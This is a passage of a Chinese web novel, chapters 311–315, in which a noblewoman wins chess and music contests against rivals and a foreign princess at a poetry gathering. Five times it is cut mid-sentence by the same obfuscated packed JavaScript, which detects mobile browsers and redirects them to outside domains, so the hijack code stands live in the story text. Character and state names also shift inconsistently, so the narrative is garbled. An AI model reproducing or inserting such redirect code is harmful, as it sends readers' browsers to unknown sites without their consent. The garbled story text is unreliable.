“诸位谬赞,小女子才疏学浅,实在当不得‘第一’二字。” 石芷凝语气谦和,听起来是自谦,却透着一股不容置疑的坚定。 她抬眸,目光清亮而沉静。 “不过,既然公主殿下远道而来,有意切磋,我大晋女子,自当奉陪。” 安宁公主一直静静旁观,似乎对这出戏很是满意。 此刻,她才缓缓开口,声音清冷,带着一丝不易察觉的傲慢: “左小姐不必过谦。本公主听闻,大晋女子向来以才学著称,今日倒要好好领教一番。” 她微微侧头,目光转向茅清兮,带着几分审视的意味。 “臧夫人,您意下如何?” 茅清兮神色淡淡的。 她端坐在那里,脊背挺直,如同一株傲雪的寒梅,自有一股清冷的气质。 “既然是比试,就该拿出真本事。” 茅清兮没直接回答安宁公主,反而提出了一个让人意想不到的建议。 她环视四周,目光从那些精致的摆设上轻轻滑过。 “笔墨纸砚,无非是些死物。不如,咱们来点儿活的。” 安宁公主挑了挑眉,显然没料到茅清兮会这么说: “哦?臧夫人有何高见?” 茅清兮嘴角勾起一抹不易察觉的笑。 “既然是比才,光动笔杆子有什么意思?不如,我们来比点别的。” “比什么?”安宁公主追问,语气里多了几分兴趣。 “比胆识,比见识,比谁更了解这世间万物。” 茅清兮缓缓说道, “公主殿下远道而来,想必也想见识见识我大晋的风土人情吧?” 安宁公主沉吟片刻,似乎在权衡利弊。 她原本的计划,是想通过琴棋书画这些传统的项目,来展示自己的才华,压倒大晋的才女们。 但茅清兮的提议,却让她有些措手不及。 比胆识,比见识? 这可不是她擅长的领域。 而且,如果真的按照茅清兮说的去做,那这场比试的变数可就太大了。 她可不想冒这个险。 安宁公主心里打着退堂鼓,脸上却依旧维持着优雅的笑容: “臧夫人说笑了,咱们今日是以文会友,比那些做什么。” “公主殿下,是不敢吗?”茅清兮直视她的眼睛。 安宁公主的脸色微微一变,但很快又恢复了正常。 “臧夫人何出此言?” 茅清兮轻笑一声: “既然公主殿下不敢,那就按照您原本的法子。只是...别怪臣妇没提醒您,若是比那些,您今日只怕要失望了。” 这话说得极不客气,甚至带着几分威胁的意味。 安宁公主的脸色终于沉了下来,冷声道: “臧夫人,你是笃定自己一定会赢?” “不是我笃定,而是有些人,不配赢。” 茅清兮冷冷地说。 安宁公主深吸一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551087|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,压下心中的怒火。 她知道,自己是被茅清兮激将了。 但事已至此,她也只能硬着头皮上了。 “好!既然臧夫人如此有信心,那本公主就如你所愿!” 她一挥手,示意侍女们将早已准备好的笔墨纸砚等物呈上来。 “都说要选帝都最有才的女子,那自然是要德才兼备。这四场比试,就以‘梅兰竹菊’为题,分别考验各位的才情、品性、气节和风骨。” 她顿了顿,又补充道: “为了公平起见,每场比试的结果,除了由三位殿下评判之外,还会让在场的各位公子投票。得票最高者,方能胜出。” 她看向溪流对岸的学子们,声音清亮: “各位公子,你们手中的桃花,不仅可以投给才艺最佳之人,也可以投给你们心目中最美的女子。今日,就由你们来选出一位才貌双全的京城第一美人!” 此言一出,学子们顿时群情激昂。 他们摩拳擦掌,跃跃欲试,都想为自己心仪的女子投上一票。 第一场,便是以“梅”为题,比试棋艺。 茅清兮随意落座。 对面的,正是方才出言不逊的康雨芸。 康雨芸看着茅清兮,冷笑一声,眼中满是不屑。 “姓宋的,我劝你还是早点认输,省得自取其辱。” 她故意压低声音,用只有她们两人才能听到的音量说道。 “我可是听说,你根本就不会下棋。你拿什么跟我比?” 茅清兮连眼皮都没抬一下。 她拈起一枚棋子,在指尖轻轻摩挲着。 “会不会,你说了不算。” 她的声音很轻,却带着一种不容置疑的坚定。 “是吗?那就走着瞧!” 康雨芸狠狠地瞪了茅清兮一眼,也跟着落子。 两人你来我往,在棋盘上展开了一场无声的厮杀。 溪流对岸,观战的学子们议论纷纷。 大多数人,都将手中的桃花投给了石芷凝。 毕竟,石芷凝的才名,早已传遍了整个京城。 而茅清兮,虽然是臧王妃,但在这方面,却鲜为人知。 冀容白却毫不犹豫地将桃花投给了茅清兮。 他的动作,引来了宁王和贤王的注意。 “容白,你这是……对臧夫人有信心? 第三百一十一章 ”宁王笑着问道。 冀容白淡淡一笑,没有直接回答。 “拭目以待便是。” 贤王轻轻摆头,将手中的桃花投给了石芷凝。 “我还是更看好左小姐。毕竟,这棋艺一道,可不是一朝一夕就能练成的。” 他顿了顿,又补充道: “不过,臧夫人能有这份勇气,也着实令人佩服。”康雨芸紧攥着一颗温润的棋子,指节微微泛白,贝齿轻咬下唇。她努力让自己的呼吸平稳下来,眼睫却还是忍不住轻轻颤动。她缓缓闭上眼,仿佛只要这样就能将那些纷乱的思绪隔绝在外。 脑海中,是她无数次幻想过的场景——自己赢下棋局,接受众人或艳羡、或赞叹、或嫉妒的目光。那样的场景,于她而言,仿佛已经近在咫尺,触手可及。 毕竟,这京城贵女圈,谁不知道她康雨芸最擅长的便是棋? 琴艺棋技书法绘画,要说样样精通,那可真是难为她了。康雨芸心里跟明镜似的,论才学,她拍马也赶不上那位满腹经纶的安宁公主;论丹青,她也只能对石芷凝的妙笔生花望洋兴叹。唯有在琴、棋两道上,她尚且能与之一较高下,勉强算是不至于输得太难看。 她的小算盘打得“啪啪”响,只要能在这四艺中夺得两项魁首,便能稳稳当当进入下一轮。哪怕最后与“第一才女”的桂冠失之交臂,能把“第一美人”的名头揽入怀中,也不虚此行。 然而,现实却狠狠地打了她一巴掌。 棋局才进行到一半,康雨芸就感觉自己像是被无形的绳索给捆住了,每一步都走得艰难无比,仿佛有千斤巨石压在心头,让她喘不过气。这和她一开始预想的,完全是两个极端。 她精心设计的几步棋,非但没能成为制胜的关键,反而像是为茅清兮铺好了前进的道路,让她畅通无阻。无论她如何绞尽脑汁,试图找到破局之法,茅清兮总能先她一步,将她的退路堵得死死的。 细密的汗珠,悄无声息地爬上了康雨芸的额头。她握着棋子的手,也开始微微颤抖,每落一子,都要犹豫再三,迟迟不敢落下。 那些原本站在一旁看热闹的贵女们,察觉到异样后,也开始交头接耳,窃窃私语。她们交换着疑惑和不解的眼神,悄无声息地凑近了棋盘。 这一看,众人的脸色都变得古怪起来。 明眼人都能看得出来,康雨芸大势已去,败局已定,回天乏术。 再看茅清兮,从始至终都保持着一种近乎冷漠的平静,仿佛早已洞悉了棋局的走向,胜券在握。 终于,在茅清兮又落下一子后,康雨芸紧绷的神经,彻底崩溃。 她的眼眶,瞬间就红了。 茅清兮将手中把玩着的另一枚棋子,随意地丢回了棋盅里,发出一声清脆的撞击声。 “承让。” 她的声音依旧平淡,听不出丝毫的波澜,更没有半分胜利者的喜悦。 康雨芸只觉得脸上火烧火燎,仿佛被人狠狠地扇了一耳光,又羞又愤。她怎么也没想到,自己竟然会在第一场就输给茅清兮,而且还是输得如此彻底。 这种感觉,就像是被人狠狠地踩在了脚下,颜面尽失。 曾几何时,那个在她眼中一无是处的茅清兮,竟然也能在棋艺上胜过她了? “再来!刚刚那局不算数……”康雨芸的声音带着明显的颤抖,每一个字都透着不甘。 “怎么,输不起?”茅清兮的眉头微微一挑,原本平静的语气中,多了一丝冷冽,“这可不是小孩子过家家,由得你胡来。我可没时间陪你在这儿浪费,败了赶紧闪人,别耽误大家的时间。” 康雨芸被茅清兮这毫不留情的话语,噎得哑口无言。她的脸色一阵青一阵白,跟调色盘似的,变幻莫测。最终,她狠狠地一跺脚,将手中的棋子重重地摔在了棋盘上,转身就走,连头都没回。 站在一旁的侍女,见状连忙高声宣布:“这一局,臧夫人胜!” 与此同时,其他几桌的棋局,才刚刚拉开序幕,正进行得如火如荼。而茅清兮这边,却早已分出了胜负,显得格外安静。 溪流对岸,原本还喧闹不已的学子们,像是被按下了暂停键,瞬间安静了下来。他们一个个伸长了脖子,朝着茅清兮这边张望,眼神中充满了惊讶和疑惑。 茅清兮却像是什么事都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555266|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生一样,旁若无人地拨弄着棋子,静静地等待着下一场比赛的开始。对她而言,刚刚的胜利,似乎只是一件微不足道的小事,不值一提。 “看来,苏将军并非一时兴起,而是对臧夫人的棋艺有十足的信心啊。臧夫人果然是深藏不露,让人刮目相看。”一位学子捋着胡须,若有所思地说道。 “谁说不是呢?齐姑娘师从棋圣鲁大师,棋艺精湛,那可是有目共睹的。刚才我还和人打赌,说棋道的魁首非齐姑娘莫属呢,结果……”另一位学子摇了摇头,脸上写满了难以置信。 “哼,不过是运气好罢了。赢了一局就得意忘形,真以为自己天下无敌了?要是换了别人,我或许还会高看她一眼,可这臧夫人……她在闺中的时候,可是出了名的……” 一个尖酸刻薄的声音突然响起,只是话还没说完,就被身旁的同窗给打断了。 冀容白冷冷地扫了那人一眼,眼神如刀,锋芒毕露。 那人被冀容白看得心里一阵发毛,忍不住缩了缩脖子。可他还是不服气,嘴里嘟嘟囔囔地小声抱怨着:“本来就是嘛,我讲的都是实话实说。难道因为他是将军,就可以仗势欺人,说句大实话都不行?安宁公主不是早就说了吗,今天在这里,大家一律平等,没有身份贵贱之分。他就算是个将军,也不能这么霸道吧?” 这学子的话,虽然声音不大,但还是清晰地传入了在场不少人的耳中。 事实上,这也是许多人心中的真实想法。 在他们看来,茅清兮根本就不配出现在这里,与这些才女们同台竞技。她之所以敢如此嚣张,无非是仗着自己夫君是冀容白罢了。 对于这些学子们的想法,茅清兮根本就懒得理会。 因为,她的下一个对手,已经款款而来。 马静郡主。 “臧夫人,有礼。” “郡主,请。” 两人互相见礼,声音清脆,在这安静的环境中显得格外清晰。随后,她们分别在棋盘的两侧落座,四目相对,眼神中都带着一丝探究。 茅清兮原本打算借着这次对弈的机会,好好试探一下马静郡主的虚实。 第三百一十二章 可让她没想到的是,马静郡主的棋风,竟然是滴水不漏,稳如泰山。 如果非要用一个词来形容,那就是“稳”。 稳得让人挑不出半点毛病,稳得让人感到无懈可击。 每一步棋,都像是经过了深思熟虑,精准无比,恰到好处。但正是这种“恰到好处”,让茅清兮感到了一丝不安。因为她完全无法从马静郡主的棋风中,捕捉到任何与她性格相关的信息。 直到侍女宣布茅清兮获胜,马静郡主起身离开,茅清兮的脸色才变得凝重起来。她没有起身,而是依旧坐在棋盘前,低着头,盯着棋盘上残留的棋局,陷入了沉思。 从棋局上来看,马静郡主明显没有使出全力。这盘棋,虽然以茅清兮的胜利告终,但实际上,双方都还有很大的回旋余地。 马静郡主明明可以选择继续对弈,却偏偏在这个时候收手。给人的感觉,就像是……她只是想借此机会试探一下茅清兮的实力。 可问题是,茅清兮并不认为,仅仅通过一盘棋,马静郡主就能看穿她的底细。毕竟,她的性格如何,她自己心里最清楚,而且她也从未刻意隐藏过。反倒是马静郡主,让她感到越来越神秘,越来越难以捉摸。 棋道比试,就此告一段落。茅清兮拔得头筹,赢得了棋道的魁首。这个结果,并没有出乎众人的意料。 毕竟,安宁公主和石芷凝,本就不以棋艺见长。她们只是象征性地参与了几局,便早早地退出了比赛。 可当安宁公主亲眼目睹茅清兮赢得比赛时,她的心里,还是不可避免地涌起了一股强烈的嫉妒和不甘。 “这个康雨芸,真是成事不足败事有余!关键时刻掉链子,白白浪费了这么好的机会,竟然让茅清兮抢尽了风头!” 安宁公主在心里狠狠地咒骂着,脸色阴沉得可怕。她原本计划得天衣无缝,打算在今天的比试中,让茅清兮颜面扫地,彻底沦为众人的笑柄。可没想到,第一个出风头的,竟然会是茅清兮,这让她如何能咽得下这口气? 她暗暗发誓,在接下来的琴、书两项比试中,她一定要全力以赴,将失去的面子统统找回来。 很快,第二轮比试开始了。 这一轮,比的是“琴”。 为了方便各位贵女们展示才艺,侍女们早就将各种乐器准备妥当,一字排开,摆满了整个场地。古琴、琵琶、箜篌、筝……各种各样的乐器,应有尽有,看得人眼花缭乱。 贵女们跃跃欲试,摩拳擦掌,都想拿出自己的看家本领,好好地表现一番。 安宁公主缓步走到一张古筝前,轻轻地坐了下来。她深吸一口气,缓缓地闭上了眼睛,仿佛在酝酿着什么。 当她再次睁开眼睛时,眼神中已经充满了自信和坚定。她伸出纤纤玉指,轻轻地拨动了几下琴弦,一阵悠扬的琴声,便从她的指尖流淌而出。 在听过了前面几位贵女的演奏后,安宁公主的心里,已经有了十足的把握。 “这琴艺的魁首,非我莫属。” 她得意地想着,嘴角微微上扬,露出了一抹自信的笑容。 忽然,她像是想起了什么似的,转过头,看向了茅清兮,故意问道:“臧夫人,你怎么迟迟不动?难不成,这么多的乐器,就没有一样是你精通的?” 她这话,明显是没安好心,故意想让茅清兮出丑。 她心里跟明镜似的,茅清兮根本就不会这些。之所以这么问,就是想看她的笑话。 世家大族培养出来的女子,琴棋书画,哪一样不是从小就开始学的?可茅清兮呢,偏偏就是个例外。在陆府的时候,她处处受到茅暮暮的压制,根本就没机会接触这些东西。 面对安宁公主的挑衅,茅清兮并没有生气,反而坦然承认:“这些,我的确不擅长。” “臧夫人,你该不会是怕输吧?你看,这么多人,都已经表演过了,你还在犹豫什么?说不定,你运气爆棚,又能赢一局呢?”安宁公主说着说着,自己先忍不住“咯咯咯”地笑了起来,那笑声,尖锐而刺耳,充满了嘲讽的意味。 其他的那些世家女,虽然没有像安宁公主那样表现得如此明显,但她们的心里,其实也是这么想的。 “是啊,臧夫人,你就随便挑一件乐器试试吧。反正你已经赢了一局了,就算这局输了,也没什么大不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555267|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,不会有人笑话你的。”康雨芸也在一旁煽风点火。 石芷凝看不下去了,眉头紧锁,正准备开口替茅清兮解围,就在这时,她突然听到溪流对岸传来一声熟悉的呼喊:“娘子,接着!” 茅清兮几乎是下意识地抬头望去,只见冀容白手中拿着一样东西,正朝着她这边抛了过来。 她心中一动,来不及多想,脚尖轻轻一点,整个人便如同一只矫健的燕子,腾空而起,稳稳地接住了冀容白抛过来的东西。 落地之后,茅清兮缓缓地摊开手掌,发现冀容白扔给她的,竟是一支比手掌略长的羌笛。 这羌笛,通体乌黑,表面雕刻着古朴而神秘的花纹,一看就不是中原之物。 实际上,羌笛乃是西域羌族特有的一种乐器,音色苍凉而悠远,极具穿透力。由于制作工艺复杂,且不易掌握,因此在中原地区极为罕见,会吹奏的人更是寥寥无几。 可偏偏,茅清兮就会吹羌笛,而且还吹得相当不错。 这还得追溯到她小时候的一段经历。 那时,她跟着母亲前往云州剿匪,机缘巧合之下,结识了一位羌族少女。那位少女不仅教会了她吹奏羌笛,还与她结下了深厚的友谊。 后来分别时,茅清兮将自己随身佩戴的一把小木剑,送给了那位羌族少女,作为两人友谊的见证。 可是,冀容白又是如何得知她会吹奏羌笛的呢?羌笛? 这玩意儿,莫说吹奏了,怕是在场的宾客里头,见过的都没几个。 大家伙儿你看看我,我看看你,眼神里明明白白写着:这啥玩意儿? 那短了一截、瞧着像笛子又不太像的物件,真能弄出声儿来? “臧夫人,您……这是打算吹羌笛?”安宁公主拿绢帕掩着嘴,笑得那叫一个花枝乱颤,话里话外却透着一股子轻蔑劲儿,“这……能吹响吗?” “你说呢。”茅清兮惜字如金。 她抬眼,朝不远处的冀容白瞥了一眼,嘴角微微一勾,笑得那叫一个明艳动人。 还得是这男人,懂她! “边塞笛声为何叹息垂柳,暖阳难越玉门边。 第三百一十三章 ”人群中,不知是谁低声念叨了一句。 诗嘛,大家都会念。 可这羌笛的声音,谁听过? 不少人心里开始犯嘀咕,瞅着茅清兮的眼神儿,也带上了几分琢磨不透的意味。 该不会……是拿这稀罕物来唬人的吧? 反正也没人听过正宗的羌笛声,她吹得咋样,谁知道啊? 安宁公主更是稳坐钓鱼台,她轻轻拨弄着眼前的琴弦,眼底闪过一丝算计。 管她茅清兮耍什么花样,只要有本公主在,她就别想出头! “臧夫人,您先请。”安宁公主做了个“请”的手势,那语气,轻松得像是打发叫花子。 她心里的小九九,早就盘算好了: 先让茅清兮出丑,随便她怎么折腾。 等自个儿再压轴出场,那才叫艳惊四座! 茅清兮也不跟她客气,脚尖轻轻一点,身子一转,就跟那轻盈的燕子似的,落在了溪水边的假山石上。 她大大咧咧地盘腿一坐,把羌笛往嘴边一放。 清越、悠长的声音,立马像长了翅膀似的,飞进了在场每个人的耳朵眼里。 要说这穿透力,今儿个这满园子的乐器,还真没一个能比得上这羌笛的。 羌笛是啥,旁人不必了解。 但茅清兮吹的这调子,他们熟啊! 《战魂诗篇》! 这可是当年,陛下揭竿而起之后,一位投奔而来的琴师,专门给陛下的军队谱的曲子! 那调子,激昂得跟擂响的战鼓似的,听得人热血沸腾,恨不得立马冲上战场,杀他个片甲不留! 当年,君王当年闻此曲,才拍板决定,往后每回打仗之前,都得奏这曲子,给将士们提提气! 要是再配上那震天响的战鼓…… 嘿,那将士们还不得跟打了鸡血似的,一个个嗷嗷叫着往前冲? 这会儿,茅清兮在这文绉绉的诗会上,吹起了这首慷慨激昂的战歌, 就跟那平地里炸响了一声惊雷似的,一下子就把大伙儿都给震住了! 脑子里,嗡嗡的, 全是金戈铁马,血战沙场的画面! 胸口,也跟揣了团火似的,烧得慌! 恨不得立马抓起杆**, 跟着这曲子, 冲上战场, 跟敌人拼个你死我活! 换了别的乐器,还真不一定能把这战歌的味儿给吹出来。 可这羌笛就不一样了! 大漠孤烟,边关冷月…… 这羌笛声一响,那股子苍凉、雄浑的劲儿,就跟那西北风似的,呼呼地往人心里灌。 再配上这空灵、悠远的调子, 嘿, 谁听了不得热血沸腾? 茅清兮这一曲子,算是把在场这些文人骚客的爱国心,都给勾出来了。 他们这帮人,兴许没上过战场,可谁心里还没点儿精忠报国的念想? 假山石上,一袭红衣,赛过那熊熊燃烧的火焰。 女子眉眼间,透着一股子不服输的傲气, 便是那冰霜雪雨,也遮不住她的风华。 大伙儿都看痴了, 仿佛瞧见了, 在战场上, 挥刀杀敌的, 不是别人, 正是自己! 一曲终了,可那曲子的余韵,还跟那绕梁的燕子似的,在人心里头盘旋着,久久不肯散去。 胸腔里头,那股子热血,还在翻腾,折腾! 这时候,安宁公主的琴声,不紧不慢地响起来了。 还是那些个软绵绵、娇滴滴的小曲儿。 两下一比,高下立判。 安宁公主的琴弹得再好,可在这节骨眼上,又怎么比得过茅清兮那首,装满了家国大义的战歌? 更何况,她还是个西魏人! 当初西魏的铁蹄子,踏破云陲的时候,在场的这帮人,有谁敢拍着胸脯说,自个儿提着刀去跟西魏人干过仗? 没有! 是冀容白! 是冀容白替他们守住了云陲的边关! 要不是冀容白,这西魏的公主,能这么大摇大摆地,跑到他们的地盘上来撒野? 还能在这儿,对着他们大周朝的才子佳人们,吆五喝六?! 这些个学子里头,还真有几个,是被安宁公主给收买了的。 要不咋说,第一轮比试的时候,她能得那么多桃花枝呢? 可这会儿,比的可不光是才艺,还是两国之间的脸面! 这些个学子,就算再怎么不要脸,也不敢当着这么多人的面,去捧一个敌国公主的臭脚! 冀容白,站起来了。 他慢条斯理地,把手里的桃花枝,投给了茅清兮。 紧接着,一个,两个…… 越来越多的人,把手里的桃花,投给了茅清兮。 他们心里头,或许一百个不乐意。 可至少,这会儿,他们还没把自个儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558607|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身为大周人的骨气,给丢干净。 安宁公主眼瞅着,原本该是自个儿的桃花,一朵朵地,都飞到了茅清兮那边,那脸色,就跟吃了苍蝇似的,难看得要命。 她恨不得立马冲上去,把那些个不长眼的家伙,一个个都给掐死! 可她不敢。 她总不能当着这么多人的面,逼着那些个学子,把花投给她吧? 眼下,她只能把所有的希望,都寄托在太子、宁王和贤王身上了。 她的琴艺,那可是顶呱呱的,绝对比茅清兮强! 这一点,她自个儿心里头,跟明镜儿似的! 她压根儿就没想过自个儿会输。 可当太子,当着所有人的面,宣布这一局的胜者是茅清兮的时候, 安宁公主就跟那被雷劈了似的,整个人都傻了。 手底下,也不知是咋的,就没了轻重。 “嘣——” 两根琴弦,断了! 十指连心,那滋味,可不是闹着玩儿的。 可这会儿,安宁公主哪还顾得上疼? “太子殿下,您……您是不是搞错了?”她声音都开始打颤了。 “孤与宁王、贤王都觉得,臧夫人更胜一筹。公主若是不服……”钱云霄冷冷地扫了她一眼,那眼神,就跟看个不懂事儿的玩意儿似的。 他心里头,也憋着一肚子火呢。 这安宁公主,眼瞅着就要嫁给他当侧妃了, 她丢人现眼,不就等于打他太子府的脸吗?! 偏偏,这女人还没点儿自知之明, 非得整出这么个劳什子诗会来! 没那金刚钻,就别揽这瓷器活儿! 输了就输了, 还敢质疑他的评判? “我……”安宁公主还想争辩几句。 “公主!”昌静一把拽住了她,凑到她耳边,嘀嘀咕咕地说了几句。 安宁公主恨恨地瞪了茅清兮一眼, 那眼神,就跟要把她给活吞了似的。 可最后,她还是把这口气给咽下去了, 心里头,开始琢磨开了: 没事儿,还有书画呢! 画画这事儿,茅清兮肯定不灵。 这一轮,可是石芷凝的拿手好戏。 只要石芷凝赢了,她就还有翻盘的机会! 安宁公主正盘算着,那边,石芷凝已经开始动笔了。 只见她,身子微微一侧,朝身后的丫鬟,递了个眼色。 第三百一十四章 那丫鬟,立马心领神会,脚底抹油,溜了。 茅清兮呢? 她正优哉游哉地,坐在那儿喝茶呢。 这些个舞文弄墨的事儿,她向来不掺和。 她心里头清楚,石芷凝肯定能赢。 可她对这些个画,实在没啥欣赏的细胞。 还不如,安安静静地,喝茶,吃点心。 咦? 她眼角的余光,瞅见一碟子精致的糯米糕,正顺着那溪水,慢悠悠地飘过来。 这小玩意儿,眼瞅着就要从她眼皮子底下溜走了。 除了冀容白那家伙,谁还能干出这事儿来? 茅清兮抬头一瞅,果不其然,冀容白正坐在高处,朝她扬了扬下巴,那意思,让她赶紧把东西捞起来。 这家伙…… 茅清兮忍不住,乐了。 她弯腰,伸手,把那碟子糯米糕,从水里捞了出来。 捏起一块,塞进嘴里。 嗯,甜丝丝的,还带着股子糯米的香味儿,好吃! 她眯缝着眼睛,一脸的满足。 这一幕,可没逃过,站在对面的康云辰的眼睛。 瞅着茅清兮那,微微翘起来的眼角, 康云辰的心里,就跟猫爪子挠似的,痒得慌。 这满园子的女人, 就这么一个,能让他看上眼的。 这女人,跟那些个胭脂俗粉,可不一样。 她身上,有股子说不出来的劲儿, 让人…… 想把她给弄到手,好好疼疼! 可一想到冀容白,康云辰又犯愁了。 这女人,可是有主的啊…… 这事儿,还真有点棘手。 不过,他康云辰看上的猎物,还能让她跑了不成? 他得找个机会,出其不意,攻其不备。要想把人弄到手,就得快、准、狠! 康云辰正琢磨着呢,突然,一声尖叫传来,就跟那半夜里杀猪似的,吓人一跳。 “怎么了?”他眉头一皱。 “有蛇!”一个女人的声音传来。 紧接着,一阵骚动,原本安静的人群,像是被捅了的马蜂窝,嗡的一下,炸开了锅。 石芷凝跌坐在地上,脸色煞白,双手紧紧地捂着脚踝。 “蛇!哪儿呢?”茅清兮也给吓了一跳,连忙站起来,四处张望。 她眼尖,分明瞧见,一条青色的影子,正顺着那溪水,飞快地往前游! “在那儿!”有人喊了一嗓子。“嘶……” 石芷凝倒吸一口凉气,指尖因为剧痛而微微泛白,额角渗出细密的汗珠,像是被细小的针尖扎过一般。 安宁公主一个箭步冲上前,声音里是掩不住的担忧,像是一只受惊的小鹿: “这……这是怎么回事?这地方竟然出现了蛇?这蛇可有毒性?快!快去请大夫!这可如何是好?” 茅清兮反应极快,她没有丝毫犹豫,“刺啦”一声,从自己水蓝色的裙摆上撕下一截布条,动作干净利落。 “按紧了!” 她语气果断,不容置疑,将布条紧紧缠绕在石芷凝白皙的小腿伤口处,力道恰到好处。 “这蛇应当无毒,瞧着像是水蛇,但为防万一,还是得先包扎。” 茅清兮边说,边利落地打了个结,暂时止住了血流,动作娴熟得像是个经验老道的医者。 周围人头攒动,七嘴八舌地议论着,大家闺秀们哪里见过这阵仗,现在不是上药的好时机。 茅清兮示意身旁的侍女,先将石芷凝扶下去休息,眼神中透着关切。 她缓缓起身,眼神如出鞘的利剑,直直射向安宁公主,带着一股无形的压迫感。 安宁公主被看得有些心虚,眼神闪躲,像是一只被猎人盯上的兔子,但还是强撑着镇定,声音拔高了几分,试图掩饰自己的慌乱: “这别庄里怎会有蛇出没?这也太吓人了!本公主定要找贤王问个清楚!这么多姐妹们在此,若是出了什么差错,这可如何是好?这还了得!” 她故意顿了顿,又补充道,每一个字都像是在强调什么,语气中带着一丝责难。 这别庄,可是贤王借给她的,连侍女都是贤王府的人。 真要追究起来,这责任,她安宁公主可担不起,谁也别想推到她身上。 她如此理直气壮,也是算准了这一点,拿捏着贤王的软肋。 贤王匆匆赶来,面色凝重,脚步急促,额头上也渗出了汗珠。 石芷凝是他即将迎娶的正妃,是未来的贤王妃,她受了伤,贤王自然是心急如焚,比自己受伤还着急。 他一面迭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558608|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声吩咐人去请大夫,务必要用最好的药,一面又让人在别庄内加强戒备,严防再有宾客受伤,声音里透着不容置疑的威严。 康雨芸撇了撇嘴,语气中带着一丝幸灾乐祸,像是看热闹不嫌事大: “左姐姐也真是,运气背了些,这踏青也能碰上蛇,可惜了那幅画,才刚画了一半……真是天不遂人愿。” 韩柔也赶紧凑趣,娇声附和,声音甜腻腻的: “哎呀,运气这东西,运气也是实力的体现。不过,孝宁公主这幅画马上就大功告成了,瞧着真是精妙绝伦!花团锦簇,栩栩如生!想来这一局的魁首,定是公主囊中之物了。” 安宁公主得意地扫了茅清兮一眼,余光里带着一丝挑衅,像是一只骄傲的孔雀。 但她面上却故作谦逊,微微垂首,声音也放柔了几分: “现在说这些还为时过早,胜负未分,还得等太子殿下、宁王和贤王三位评判之后,才能见分晓,各位姐妹也都是丹青妙手。” 石芷凝意外受伤,其他人的画作自然难以与安宁公主的相提并论,这是明摆着的事实。 众位贵女心里都跟明镜似的,明争暗斗了一辈子,这点眼力见还是有的, 一时间,连继续作画的心思都淡了,只等着看最后的结果。 贤王去而复返,带来消息说石芷凝已无大碍,只是受了些惊吓,正在厢房歇息,并无性命之忧。 既然如此,这一局的比试,也该有个结果了。 果然,太子等人仔细观摩一番后,一致认为安宁公主的画技更胜一筹,构图精巧,用色大胆,意境深远。 安宁公主心满意足,朝溪水对面的太子等人款款行礼, 嘴角是掩饰不住的笑意,仿佛已经胜券在握,整个人都散发着自信的光芒。 她心中盘算着,“画”这一项,她已稳操胜券, 接下来的“书”,更是十拿九稳。 茅清兮的字……在京城贵女圈子里,可算不得秘密。 安宁公主几乎要忍不住笑出声来。 她甚至开始期待,茅清兮在“书”的比试中,会如何出丑,那场面一定很有趣。 只要自己拿下这两局的魁首, 接下来的附加挑战,她早已备下后招,只等着茅清兮自投罗网,跳进她精心设计的陷阱! 第三百一十五章 这么一想,先前让茅清兮连赢两局,似乎也并非坏事,反倒是步好棋。 就让她再得意一阵子,爬得越高,摔得越惨, 到时候,她要让茅清兮明白,什么叫云泥之别,什么叫自取其辱! “京城第一才女”的名号,终究是她的,谁也抢不走! 